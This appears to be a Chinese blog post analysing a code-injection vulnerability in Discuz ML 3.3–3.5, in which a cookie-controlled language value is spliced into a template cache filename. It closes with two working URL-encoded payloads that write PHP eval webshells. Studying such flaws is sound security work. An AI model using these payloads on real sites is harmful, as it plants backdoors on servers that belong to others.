Fork me on GitHub

discuz3.x rce

环境

1
2
3
win10 
php 5.5
discuz ML 3.3

存在rce的版本

1
discuz ML 3.3~discuz ML 3.5

分析过程

  • 根据payload知道漏洞出在source\module\portal\portal_index.php
  • 跟进template()(/source/function/function_core.php)
  • 程序最终返回了DISCUZ_ROOT.$cachefile其中$cachefile

    1
    ./data/template/'.DISCUZ_LANG.'_'.(defined('STYLEID') ? STYLEID.'_' : '_').$templateid.'_'.str_replace('/', '_', $file).'.tpl.php
  • 将缓存文件写在了/data/template/目录下,文件名由DISCUZ_LANG等多个变量组成

  • 从程序全部变量$_G['config']['output']['language']中获取了DISCUZ_LANG。系统通过Cookie获取了语言的值,并在341行定义了DISCUZ_LANG,值为Cookie中获取到的$lng
  • 外部参数$lng(即language语言)可控,导致template 函数生成的临时模板文件名可操纵,插入自己的代码,最终include_once包含一下最终导致了代码注入
  • 写入webshell
    1
    2
    sc%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27
    sc%27.+file_put_contents(%27s.php%27%2cstrtoupper(urldecode(%27%3c%3fphp+eval(%24_post%5b%221%22%5d)%3b%3f%3e%27))).%27

PS:文件包含也会执行代码

参考文献:
https://mp.weixin.qq.com/s?__biz=MzU2NDc2NDYwMA==&mid=2247483944&idx=1&sn=ba9f6f99967e31fd56634f714d8ae650&chksm=fc4748ffcb30c1e99aefd6cb5536a1e2eac2ba836c631c9533f3ba3d8669dbaa7ec0c6f60eb6&mpshare=1&scene=23&srcid=#rd
https://od0d.cn/2019/07/11/Discuz-ML-V3-X-%E4%BB%A3%E7%A0%81%E6%B3%A8%E5%85%A5%E5%88%86%E6%9E%90%E8%B8%A9%E5%9D%91%E7%BB%8F%E5%8E%86/

-------------本文结束感谢您的阅读-------------